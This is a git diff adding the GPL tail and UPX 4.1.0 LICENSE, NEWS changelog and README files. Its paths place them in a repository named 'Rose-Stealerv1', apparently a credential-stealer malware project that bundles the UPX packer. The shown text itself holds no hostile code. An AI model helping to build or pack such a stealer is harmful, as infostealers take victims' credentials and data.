published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/LICENSE b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/LICENSE new file mode 100644 index 0000000..05e1906 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/LICENSE @@ -0,0 +1,138 @@ +-----BEGIN PGP SIGNED MESSAGE----- + + + ooooo ooo ooooooooo. ooooooo ooooo + `888' `8' `888 `Y88. `8888 d8' + 888 8 888 .d88' Y888..8P + 888 8 888ooo88P' `8888' + 888 8 888 .8PY888. + `88. .8' 888 d8' `888b + `YbodP' o888o o888o o88888o + + + The Ultimate Packer for eXecutables + Copyright (c) 1996-2000 Markus Oberhumer & Laszlo Molnar + http://wildsau.idv.uni-linz.ac.at/mfx/upx.html + http://www.nexus.hu/upx + http://upx.tsx.org + + +PLEASE CAREFULLY READ THIS LICENSE AGREEMENT, ESPECIALLY IF YOU PLAN +TO MODIFY THE UPX SOURCE CODE OR USE A MODIFIED UPX VERSION. + + +ABSTRACT +======== + + UPX and UCL are copyrighted software distributed under the terms + of the GNU General Public License (hereinafter the "GPL"). + + The stub which is imbedded in each UPX compressed program is part + of UPX and UCL, and contains code that is under our copyright. The + terms of the GNU General Public License still apply as compressing + a program is a special form of linking with our stub. + + As a special exception we grant the free usage of UPX for all + executables, including commercial programs. + See below for details and restrictions. + + +COPYRIGHT +========= + + UPX and UCL are copyrighted software. All rights remain with the authors. + + UPX is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer + UPX is Copyright (C) 1996-2000 Laszlo Molnar + + UCL is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer + + +GNU GENERAL PUBLIC LICENSE +========================== + + UPX and the UCL library are free software; you can redistribute them + and/or modify them under the terms of the GNU General Public License as + published by the Free Software Foundation; either version 2 of + the License, or (at your option) any later version. + + UPX and UCL are distributed in the hope that they will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; see the file COPYING. + + +SPECIAL EXCEPTION FOR COMPRESSED EXECUTABLES +============================================ + + The stub which is imbedded in each UPX compressed program is part + of UPX and UCL, and contains code that is under our copyright. The + terms of the GNU General Public License still apply as compressing + a program is a special form of linking with our stub. + + Hereby Markus F.X.J. Oberhumer and Laszlo Molnar grant you special + permission to freely use and distribute all UPX compressed programs + (including commercial ones), subject to the following restrictions: + + 1. You must compress your program with a completely unmodified UPX + version; either with our precompiled version, or (at your option) + with a self compiled version of the unmodified UPX sources as + distributed by us. + 2. This also implies that the UPX stub must be completely unmodfied, i.e. + the stub imbedded in your compressed program must be byte-identical + to the stub that is produced by the official unmodified UPX version. + 3. The decompressor and any other code from the stub must exclusively get + used by the unmodified UPX stub for decompressing your program at + program startup. No portion of the stub may get read, copied, + called or otherwise get used or accessed by your program. + + +ANNOTATIONS +=========== + + - You can use a modified UPX version or modified UPX stub only for + programs that are compatible with the GNU General Public License. + + - We grant you special permission to freely use and distribute all UPX + compressed programs. But any modification of the UPX stub (such as, + but not limited to, removing our copyright string or making your + program non-decompressible) will immediately revoke your right to + use and distribute a UPX compressed program. + + - UPX is not a software protection tool; by requiring that you use + the unmodified UPX version for your proprietary programs we + make sure that any user can decompress your program. This protects + both you and your users as nobody can hide malicious code - + any program that cannot be decompressed is highly suspicious + by definition. + + - You can integrate all or part of UPX and UCL into projects that + are compatible with the GNU GPL, but obviously you cannot grant + any special exceptions beyond the GPL for our code in your project. + + - We want to actively support manufacturers of virus scanners and + similar security software. Please contact us if you would like to + incorporate parts of UPX or UCL into such a product. + + + +Markus F.X.J. Oberhumer Laszlo Molnar +markus.oberhumer@jk.uni-linz.ac.at ml1050@cdata.tvnet.hu + +Linz, Austria, 25 Feb 2000 + + + +-----BEGIN PGP SIGNATURE----- +Version: 2.6.3ia +Charset: noconv + +iQCVAwUBOLaLS210fyLu8beJAQFYVAP/ShzENWKLTvedLCjZbDcwaBEHfUVcrGMI +wE7frMkbWT2zmkdv9hW90WmjMhOBu7yhUplvN8BKOtLiolEnZmLCYu8AGCwr5wBf +dfLoClxnzfTtgQv5axF1awp4RwCUH3hf4cDrOVqmAsWXKPHtm4hx96jF6L4oHhjx +OO03+ojZdO8= +=CS52 +-----END PGP SIGNATURE----- diff --git a/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/NEWS b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/NEWS new file mode 100644 index 0000000..aab9a92 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/NEWS @@ -0,0 +1,544 @@ +================================================================== +User visible changes for UPX +================================================================== + +Changes in 4.1.0 (08 Aug 2023): + * ELF: handle shared libraries with more than 2 PT_LOAD segments + * bug fixes - see https://github.com/upx/upx/milestone/11 + +Changes in 4.0.2 (30 Jan 2023): + * bug fixes - see https://github.com/upx/upx/milestone/9 + +Changes in 4.0.1 (16 Nov 2022): + * bug fixes - see https://github.com/upx/upx/milestone/8 + +Changes in 4.0.0 (28 Oct 2022): + * Switch to semantic versioning + * SECURITY NOTES: emphasize the security context in the docs + * Support easy building from source code with CMake + * Support easy rebuilding the stubs from source with Podman/Docker + * Add integrated doctest C++ testing framework + * Add support for EFI files (PE x86; Kornel Pal) + * win32/pe and win64/pe: set correct SizeOfHeaders in the PE header + * bug fixes - see https://github.com/upx/upx/milestone/6 + * bug fixes - see https://github.com/upx/upx/milestone/7 + +Changes in 3.96 (23 Jan 2020): + * bug fixes - see https://github.com/upx/upx/milestone/5 + +Changes in 3.95 (26 Aug 2018): + * Flag --android-shlib to work around bad design in Android + * Flag --force-pie when ET_DYN main program is not marked as DF_1_PIE + * Better compatibility with varying layout of address space on Linux + * Support for 4 PT_LOAD layout in ELF generated by binutils-2.31 + * bug fixes, particularly better diagnosis of malformed input + * bug fixes - see https://github.com/upx/upx/milestone/4 + +Changes in 3.94 (12 May 2017): + * Add support for arm64-linux (aka "aarch64"). + * Add support for --lzma compression on 64-bit PowerPC (Thierry Fauck). + * For Mach, "upx -d" will unpack a prefix of the file (and warn). + * Various improvements to the ELF formats. + * bug fixes - see https://github.com/upx/upx/milestone/3 + +Changes in 3.93 (29 Jan 2017): + * Fixed some win32/pe and win64/pe regressions introduced in 3.92 + * bug fixes - see https://github.com/upx/upx/milestone/2 + +Changes in 3.92 (11 Dec 2016): + * INFO: UPX has moved to GitHub - the new home page is https://upx.github.io + * IMPORTANT: all PE formats: internal changes: reunited the diverged source + files - please report all regressions into the bug tracker and try UPX 3.91 + in case of problems. + * Support Apple MacOS 10.12 "Sierra", including more-robust de-compression. + * Explicitly diagnose Go-language bad PT_LOAD; recommend hemfix.c. + https://sourceforge.net/p/upx/bugs/195/ https://github.com/pwaller/goupx + * Fix CERT-FI Case 829767 UPX command line tools segfaults. + Received by UPX Team on 2015-May-08; originally reported + by Codenomicon to NCSC-FI on 2015-01-08. + The vulnerabilities were discovered by Joonas Kuorilehto and + Antti Häyrynen from Codenomicon. + * bug fixes - see https://github.com/upx/upx/milestone/1 + +Changes in 3.91 (30 Sep 2013): + * Added experimental support for Windows 64-bit PE files, based on + work by Stefan Widmann. Please use for testing only! + * bug fixes + +================================================================== + +Changes in 3.09 (18 Feb 2013): + * New option --preserve-build-id for GNU ELF. + * Allow for code signing and LC_UUID on Mac OS X executables. + * Allow non-contiguous LC_SEGMENTs and 0==.vmsize for Mach-O. + * Allow zero-filled final page in PackUnix::canUnpack(). + * bug fixes + +Changes in 3.08 (12 Dec 2011): + * Fix allocation in runtime stub for darwin.macho-entry (i386 and amd64). + * Compress shared library on ELF i386 only [ld.so threatens even this case]. + * Attempt to support ELF on QNX 6.3.0 for armel (experimental). + * Better diagnostic when ELF -fPIC is needed. + * PT_NOTE improvements for BSD. + * Preserve more ELF .e_flags on ARM. + * Minor code improvements for ELF stubs. + * Defend against another flavor of corrupt PE header. + * bug fixes + +Changes in 3.07 (08 Sep 2010): + * win32/pe: fixed relocation handling for files with *no* TLS callbacks + [severe bug introduced in 3.06] + +Changes in 3.06 (04 Sep 2010): + * win32/pe: TLS callback support contributed by Stefan Widmann. Thanks! + * bug fixes + +Changes in 3.05 (27 Apr 2010): + * i386-linux and amd64-linux support shared libraries (DT_INIT must + exist, all info needed by runtime loader must be first in .text, etc.) + * Linux /proc/self/exe now is preserved by default, by leaving behind + one page. New compress-time option --unmap-all-pages is available. + * Withdraw support for shared libraries on Darwin (Apple Mac OS X) + because upx does not understand enough about .dylib. + * bug fixes + +Changes in 3.04 (27 Sep 2009): + * new format Mach/AMD64 supports 64-bit programs on Apple Macintosh. + * new formats Dylib/i386 and Dylib/ppc32 support shared libraries + [such as browser plugins] on Darwin (Apple Macintosh). An existing + -init function (LC_ROUTINES command) is required. + * new format vmlinuz/armel for Debian NSLU2 (etc.) linux kernel + * bvmlinuz boot protocol 2.08 for 386 Linux kernel + * Extended ABI version 4 for armel-eabi ARM Linux ELF + * bug fixes + +Changes in 3.03 (27 Apr 2008): + * implement cache flushing for PowerPC (esp. model 440) + * fix cache flushing on MIPS (>3 MiB compressed, or with holes) + * fix MIPS big-endian + * bug fixes + +Changes in 3.02 (16 Dec 2007): + * fix unmapping on arm-linux.elf + * fix error checking in mmap for i386-linux.elf [triggered by -fPIE] + * bug fixes + +Changes in 3.01 (31 Jul 2007): + * new options --no-mode, --no-owner and --no-time to disable preservation + of mode (file permissions), file ownership and timestamps. + * dos/exe: fixed an incorrect error message caused by a bug in + relocation handling + * new format linux/mipsel supports ELF on [32-bit] R3000 + * fix argv[0] on PowerPC with --lzma + * bug fixes + +Changes in 3.00 (27 Apr 2007): + * watcom/le & tmt/adam: fixed a problem when using certain filters + +Changes in 2.93 beta (08 Mar 2007): + * new formats Mach/i386 and Mach/fat support Mac OS X i686 and + Universal binaries [i686 and PowerPC only] + * dos/exe: LZMA is now also supported for 16-bit dos/exe. Please note that + you have to explicitly use '--lzma' even for '--ultra-brute' here + because runtime decompression is about 30 times slower than NRV - + which is really noticeable on old machines. + * dos/exe: fixed a rarely occurring bug in relocation handling + * win32/pe & arm/pe: better icon compression handling + +Changes in 2.92 beta (23 Jan 2007): + * new option '--ultra-brute' which tries even more variants + * slightly improved compression ratio for some files when + using '--brute' or '--ultra-brute' + * bug fixes + +Changes in 2.91 beta (29 Nov 2006): + * assorted bug fixes + * wince/arm: fix "missing" icon & version info resource problem for WinCE 5 + * win32/pe & arm/pe: added option --compress-icons=3 to compress all icons + +Changes in 2.90 beta (08 Oct 2006): + * LZMA algorithm support for most of the 32-bit and 64-bit file formats; + use new option '--lzma' to enable + * new format: BSD/elf386 supporting FreeBSD, NetBSD and OpenBSD + via auto-detection of PT_NOTE or EI_OSABI + * arm/pe: all the NRV compression methods are now supported + (only NRV2D is missing in thumb mode) + * linux/elf386, linux/ElfAMD: remember /proc/self/exe in environment + * major source code changes: the runtime decompression stubs are now + built from internal ELF objects + +================================================================== + +Changes in 2.03 (07 Nov 2006): + * bvmlinuz/386: fix for kernels not at 0x100000; also allow x86_64 + * linux/elf386: work around Linux kernel bug (0-length .bss needs PF_W) + +Changes in 2.02 (13 Aug 2006): + * linux/386: work around Linux kernel bug (".bss" requires PF_W) + * linux/ppc32, mach/ppc32: compressed programs now work on a 405 CPU + * vmlinuz/386: fixed zlib uncompression problem on DOS + +Changes in 2.01 (06 Jun 2006): + * arm/pe: better DLL support + * dos/exe: device driver support added + * linux/386: Fix --force-execve for PaX, grSecurity, and strict SELinux. + /tmp must support execve(); therefore /tmp cannot be mounted 'noexec'. + * win32/pe & arm/pe: added new option '--keep-resource=' for + excluding selected resources from compression + +Changes in 2.00 (27 Apr 2006): + * linux/386: the stub now prints an error message if some strict + SELinux mode does prevent runtime decompression and execution + (for a fully SELinux-compatible but otherwise inferior compression + format you can use the '--force-execve' option) + * linux/386: worked around a problem where certain Linux kernels + clobber the %ebx register during a syscall + * win32/pe: disable filters for files with broken PE headers + +Changes in 1.96 beta (13 Apr 2006): + * arm/pe: added filter support + * win32/pe: removed an unnecessary check so that Delphi 2006 and + Digital Mars C++ programs finally are supported + +Changes in 1.95 beta (09 Apr 2006): + * arm/pe: added DLL support + * arm/pe: added thumb mode stub support + * arm/pe: added unpacking support + * win32/pe: really worked around R6002 runtime errors + +Changes in 1.94 beta (11 Mar 2006): + * new format: added support for wince/arm (ARM executables running on WinCE) + * new format: added support for linux elf/amd64 + * new format: added support for linux elf/ppc32 + * new format: added support for mach/ppc32 (Apple Mac OS X) + * win32/pe: hopefully working "load config" support + * win32/pe: R6002 runtime errors worked around + * win32/pe: the stub now clears the dirty stack + +Changes in 1.93 beta (07 Feb 2005): + * vmlinuz/386: fixes to support more kernels + +Changes in 1.92 beta (20 Jul 2004): + * win32/pe: added option '--strip-loadconf' to strip the SEH load + config section [NOTE: this option is obsolete since UPX 1.94] + * win32/pe: try to detect .NET (win32/net) files [not yet supported by UPX] + * vmlinux/386: new format that directly supports building Linux kernels + * source code: now compiles cleanly under Win64 + +Changes in 1.91 beta (30 Jun 2004): + * djgpp2/coff: added support for recent binutils versions + * linux/elf386, linux/sh386: lots of improvements + * vmlinuz/386: added support for recent kernels + * watcom/le: don't crash on files without relocations + * win32/pe: stricter checks of some PE values + * option '--brute' now implies '--crp-ms=999999'. + * source code: much improved portability using ACC, the + Automatic Compiler Configuration + * source code: compile fixes for strict ISO C++ compilers + * source code: compile fixes for Win64 + * re-synced with upx 1.25 branch + +Changes in 1.90 beta (11 Nov 2002): + * implemented several new options for finer compression control: + '--all-methods', '--all-filters' and '--brute' + * ps1/exe: new format - UPX now supports PlayStation One programs + * linux/386: added the option '--force-execve' + * vmlinuz/386: better kernel detection and sanity checks + * re-synced with upx 1.24 branch + * documentation updates + +Changes in 1.11 beta (20 Dec 2000): + * vmlinuz/386: new format - UPX now supports bootable linux kernels + * linux/elf386: added the new ELF direct-to-memory executable format - no + more temp files are needed for decompression! + * linux/sh386: added the new shell direct-to-memory executable format - no + more temp files are needed for decompression! + * reduced overall memory requirements during packing + * quite a number of internal source code rearrangements + +================================================================== + +Changes in 1.25 (29 Jun 2004) + * INFO: http://upx.sourceforge.net is the new UPX home page + * watcom/le: don't crash on files without relocations + * win32/pe: stricter checks of some PE values + * source code: much improved portability using ACC, the + Automatic Compiler Configuration + * source code: compile fixes for strict ISO C++ compilers + * source code: compile fixes for Win64 + +Changes in 1.24 (07 Nov 2002) + * djgpp2/coff: stricter check of the COFF header to work around a + problem with certain binutils versions + +Changes in 1.23 (05 Sep 2002) + * atari/tos: fixed an unpacking problem where a buffer was too + small (introduced in 1.22) + * linux/386: don't give up too early if a single block turns out + to be incompressible + * documentation: added some quick tips how to achieve the best + compression ratio for the final release of your application + * fixed a rare situation where the exit code was not set correctly + +Changes in 1.22 (27 Jun 2002) + * atari/tos: the stub now flushes the CPU cache to avoid + problems on 68030+ machines + * source code: additional compiler support for Borland C++, + Digital Mars C++ and Watcom C++ + +Changes in 1.21 (01 Jun 2002) + * New option '--crp-ms=' for slightly better compression at the cost + of higher memory requirements during compression. + Try 'upx --best --crp-ms=100000'. See the docs for more info. + * source code: portability fixes + * source code: compile fixes for g++ 3.0 and g++ 3.1 + +Changes in 1.20 (23 May 2001) + * slightly faster compression + * work around a gcc problem in the latest djgpp2 distribution + * watcom/le: fixed detection of already compressed files + * win32/pe: do not compress RT_MANIFEST resource types + * win32/pe: improved the error message for empty resource sections + * [NOTE: the jump from 1.08 to 1.20 is to avoid confusion with + our unstable development releases 1.1x and 1.9x] + +Changes in 1.08 (30 Apr 2001) + * new native port to atari/tos + * win32/pe: shortened the identstring + * source code: portability fixes - UPX now builds cleanly under m68k CPUs + +Changes in 1.07 (20 Feb 2001) + * win32/pe: corrected the TLS callback check + * win32/pe: really fixed that rare bug in relocation handling + * win32/pe: experimental support for SizeOfHeaders > 0x1000 + * win32/pe: check for superfluous data between sections + * win32/pe: compressing screensavers (.scr) should finally work + +Changes in 1.06 (27 Jan 2001) + * win32/pe: the check for TLS callbacks introduced in 1.05 + was too strict - disabled for now + * dos/com: decreased the decompressor stack size a little bit + +Changes in 1.05 (24 Jan 2001) + * win32/pe: refuse to compress programs with TLS callbacks + * win32/pe: stub changes to avoid slowdowns with some virus monitors + * win32/pe: reverted the relocation handling changes in 1.04 + * linux/386: dont try to compress Linux kernel images (have a look + at the unstable UPX 1.1x beta versions for that) + +Changes in 1.04 (19 Dec 2000) + * dos/exe: fixed an internal error when using '--no-reloc' + * win32/pe: fixed a rare bug in the relocation handling code + * some tunings for the default compression level + +Changes in 1.03 (30 Nov 2000) + * linked with a new version of the NRV compression library: + - improved compression ratio a little bit + - overall significantly faster compression + - much faster when using high compression levels like '-9' or '--best' + - much faster with large files + * atari/tos: added support for FreeMiNT + * the 32-bit DOS version now uses the new CWSDSTUB extender + +Changes in 1.02 (13 Sep 2000) + * watcom/le: fixed a problem with the Causeway extender + * win32/pe: don't automatically strip relocs if they seem needed + * support multiple backup generations when using '-k' + * updated the console screen driver + +Changes in 1.01 (09 Apr 2000) + * win32/pe: fixed an uncompression problem in DLLs with empty + fixup sections + * win32/pe: fixed another rare uncompression problem - a field in the + PE header was set incorrectly + +Changes in 1.00 (26 Mar 2000) + * documentation updates + * watcom/le: do not duplicate the non-resident name table + * win32/pe: fixed an import handling problem: sometimes too much data + could be deleted from a file -> the uncompressed file would not work + anymore + +Changes in 0.99.3 (07 Mar 2000) + * win32/pe: fixed a rare problem in the stub string handling part + +Changes in 0.99.2 (02 Mar 2000) + * dos/exe: fixed a typo causing an internal error (introduced in 0.99.1) + +Changes in 0.99.1 (29 Feb 2000) + * win32/pe: fixed some object alignments which were causing + problems when loading compressed DLLs under Windows NT/2000 + +Changes in 0.99 (25 Feb 2000) + * FULL SOURCE CODE RELEASED UNDER THE TERMS OF THE GNU GPL + * win32/pe: changed default to '--strip-relocs=1' + * dos/com and dos/sys: fixed a bad decompressor problem + * linux/386: the counter for the progress indicator was off by one + +================================================================== + +Changes in 0.94 (06 Dec 1999) + * win32/pe: the stub now calls ExitProcess in case of import errors + * under DOS and Windows, the environment variable UPX now accepts + a '#' as replacement for '=' because of a COMMAND.COM limitation + +Changes in 0.93 (22 Nov 1999) + * win32/pe: fixed --strip-relocs problem with uncompression + * win32/pe: fixed a bug which could produce a broken decompressor stub + * linux/386: yet another FreeBSD compatibility fix + +Changes in 0.92 (14 Nov 1999) + * win32/pe: really fixed that one line (see below) + +Changes in 0.91 (13 Nov 1999) + * win32/pe: an important one-line fix for the newly introduced problems + * dos/com and dos/sys: fixed an internal error + * dos/exe: correctly restore cs when uncompressing + +Changes in 0.90 (10 Nov 1999) + * all formats: '--overlay=copy' now is the default overlay mode + * improved compression ratio for most files + * win32/pe: uncompression is finally supported + * win32/pe: never compress REGISTRY resources + * win32/pe: headersize was not set in PE header + * win32/pe: resource handling is rewritten + * win32/pe: the last :-) TLS problem is fixed + * win32/pe: somewhat less memory is required during compression + * linux/386: fixed compression of scripts which was broken since 0.71 + * linux/386: more FreeBSD compatibility issues + * changed option: '-i' now prints some more details during compression + (not finished yet) + +Changes in 0.84 (04 Oct 1999) + * dos/exe: fixed a rare problem where the decompressor could crash + * some other minor fixes + +Changes in 0.83 (17 Sep 1999) + * dos/exe: fixed minimal memory requirement problem for some files + * win32/pe: fixed a bug which caused a crash in some compressed files + * linux/386: various improvements in the stub; also, for the sake + of FreeBSD users, the stub is now branded as Linux/ELF + +Changes in 0.82 (16 Aug 1999) + * dos/exe: fixed a decompressor bug which could cause crash on some files + * linux/386: section headers are now stripped from the stub so that + 'strip' won't ruin a compressed file any longer + * wc/le: support for stack not in the last object disabled again + * win32/pe: removed some unneeded data + +Changes in 0.81 (04 Aug 1999) + * win32/pe: fixed an important bug in import handling + * dos/com: fixed an internal error that could happen with very small files + +Changes in 0.80 (03 Aug 1999) + * you can set some default options in the environment var 'UPX' + * dos/com: the decompressor stub now checks for enough free memory + * dos/exe: decompressor rewritten, some bugs are fixed + * dos/exe: new option '--no-reloc': no relocation data is put into + the DOS header + * tmt/adam: added support for more stubs, detect already packed files + * tmt/adam: new option '--copy-overlay' + * wc/le: reduced memory requirement during uncompression + * wc/le: support files which do not contain their stack in the last object + * wc/le: fixed a bug which could cause a crash, improved relocation + handling + * wc/le: new option '--copy-overlay' + * win32/pe: '--compress-icons=2' is now the default + * win32/pe: even better TLS support + * win32/pe: versioninfo works on NT + * win32/pe: import by ordinal from kernel32.dll works + * win32/pe: other import improvements: importing a nonexistent DLL + results in a usual Windows message, importing a nonexistent function + results in program exit (instead of crash ;-) + * win32/pe: new option: '--compress-resources=0' + * win32/pe: reduced memory requirement during uncompression, some + files might even require LESS memory when they're compressed + * win32/pe: TYPELIBs should work now + * win32/pe: improved relocation handling, 16-bit relocations should work + * win32/pe: new option '--strip-relocs' (only if you know what you are doing) + * win32/pe: new option '--copy-overlay' + * important internal changes: now the stubs are built at runtime + +Changes in 0.72 (12 May 1999) + * tmt/adam: fixed a serious problem in the decompressor stub; all + compressed tmt files should be recompressed + * win32/pe: fixed the 'shared sections not supported' warning: + read-only shared sections are fine + * win32/pe: never compress TYPELIB resources + * win32/pe: compressed files are hopefully less suspicious to heuristic + virus scanners now + * linux/386: minor decompressor stub updates, nicer progress bar + +Changes in 0.71 (19 Apr 1999) + * dos/exe: added option '--no-overlay' + * linux/386: various improvements in the stub, most notably the + overhead for an extra cleanup process has been removed + * win32/pe: added support for export forwarders + * win32/pe: added support for DLLs without entry point or imports + * win32/pe: yet another .bss fix + * win32/pe: new option '--compress-icons=2': compress all icons + which are not in the first icon directory + * win32/pe: rearranged stub to avoid false alerts from some virus scanners + +Changes in 0.70 (30 Mar 1999) + * added support for linux/386 executables + * improved compression ratio quite a bit + * added new compression level '--best' to squeeze out even some more bytes + * win32/pe: TLS support is much better now + * win32/pe: --compress-icons=0 should now work as well + * the usual minor fixes for win32/pe + +Changes in 0.62 (16 Mar 1999) + * win32/pe: --compress-icons and --compress-exports are on now by default + * win32/pe: --compress-icons should really work now + * win32/pe: fixed a problem with embedded .bss sections + +Changes in 0.61 (08 Mar 1999) + * atari/tos: fixed a problem where the bss segment could become too small + +Changes in 0.60 (06 Mar 1999) + * win32/pe: fixed file corruption when the size of the export data is invalid + * win32/pe: fixed a problem with empty resource data + * win32/pe: compressed file alignment set to minimum value + * win32/pe: made all compressed sections writable + * fixed some other win32/pe bugs + * fixed an address optimization problem for some not Watcom LE files + * fixed a bug which could make UPX hang when an exe header contained + an illegal value + * added some compression flags for the win32/pe format + * added support for Atari ST/TT executables (atari/tos) + * improved compression ratio + * improved compression speed + +Changes in 0.51 (14 Jan 1999) + * fixed a small bug in the PE header that would prevent some compressed + win32/pe executables from running under Windows NT and WINE + +Changes in 0.50 (03 Jan 1999) + * added support for PE format executables (win32/pe & rtm32/pe) + * added support for TMT executables (tmt/adam) + * fixed a dos/sys bug that affected OpenDOS + +Changes in 0.40 (05 Oct 1998) + * improved compression ratio + * fixed a small but fatal bug in dos/sys introduced in 0.30 + * fixed a rare bug in dos/exe + * worked around a bug in djgpp's strip 2.8 + * djgpp2/coff: Allegro packfile support should work now + * added dos/exeh compression method (works on 386+) + +Changes in 0.30 (27 Jul 1998) + * fixed a serious bug in the 32-bit compressors - please don't use + djgpp2/coff and watcom/le compressed files from previous versions, + some of them are possibly damaged ! + * the 16-bit uncompressors are a little bit shorter & faster + * fixed progress indicator for VESA and SVGA text modes + +Changes in 0.20 (05 Jul 1998) + * second public beta release + * too many changes to list here + +Changes in 0.05 (26 May 1998) + * first public beta release + * based on experience gained from our previous packers DJP (djgpp2/coff, 1996), + lzop (1996) and mfxpak (atari/tos, 1990) diff --git a/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/README b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/README new file mode 100644 index 0000000..ea228aa --- /dev/null +++ b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/README @@ -0,0 +1,120 @@ + ooooo ooo ooooooooo. ooooooo ooooo + `888' `8' `888 `Y88. `8888 d8' + 888 8 888 .d88' Y888..8P + 888 8 888ooo88P' `8888' + 888 8 888 .8PY888. + `88. .8' 888 d8' `888b + `YbodP' o888o o888o o88888o + + + The Ultimate Packer for eXecutables + Copyright (c) 1996-2023 Markus Oberhumer, Laszlo Molnar & John Reiser + https://upx.github.io + + + +WELCOME +======= + +Welcome to UPX ! + +UPX is a free, secure, portable, extendable, high-performance +executable packer for several executable formats. + + +INTRODUCTION +============ + +UPX is an advanced executable file compressor. UPX will typically +reduce the file size of programs and DLLs by around 50%-70%, thus +reducing disk space, network load times, download times and +other distribution and storage costs. + +Programs and libraries compressed by UPX are completely self-contained +and run exactly as before, with no runtime or memory penalty for most +of the supported formats. + +UPX supports a number of different executable formats, including +Windows programs and DLLs, macOS apps and Linux executables. + +UPX is free software distributed under the term of the GNU General +Public License. Full source code is available. + +UPX may be distributed and used freely, even with commercial applications. +See the UPX License Agreements for details. + + +SECURITY CONTEXT +================ + +IMPORTANT NOTE: UPX inherits the security context of any files it handles. + +This means that packing, unpacking, or even testing or listing a file requires +the same security considerations as actually executing the file. + +Use UPX on trusted files only! + + +SHORT DOCUMENTATION +=================== + +'upx program.exe' will compress a program or DLL. For best compression +results try 'upx --best program.exe' or 'upx --brute program.exe'. + +Please see the file UPX.DOC for the full documentation. The files +NEWS and BUGS also contain various tidbits of information. + + +THE FUTURE +========== + + - Stay up-to-date with ongoing OS and executable format changes + + - RISC-V 64 for Linux + + - ARM64 for Windows (help wanted) + + - We will *NOT* add any sort of protection and/or encryption. + This only gives people a false feeling of security because + all "protectors" can be broken by definition. + + - Fix all remaining bugs - please report any issues + https://github.com/upx/upx/issues + + +COPYRIGHT +========= + +Copyright (C) 1996-2023 Markus Franz Xaver Johannes Oberhumer +Copyright (C) 1996-2023 Laszlo Molnar +Copyright (C) 2000-2023 John F. Reiser + +UPX is distributed with full source code under the terms of the +GNU General Public 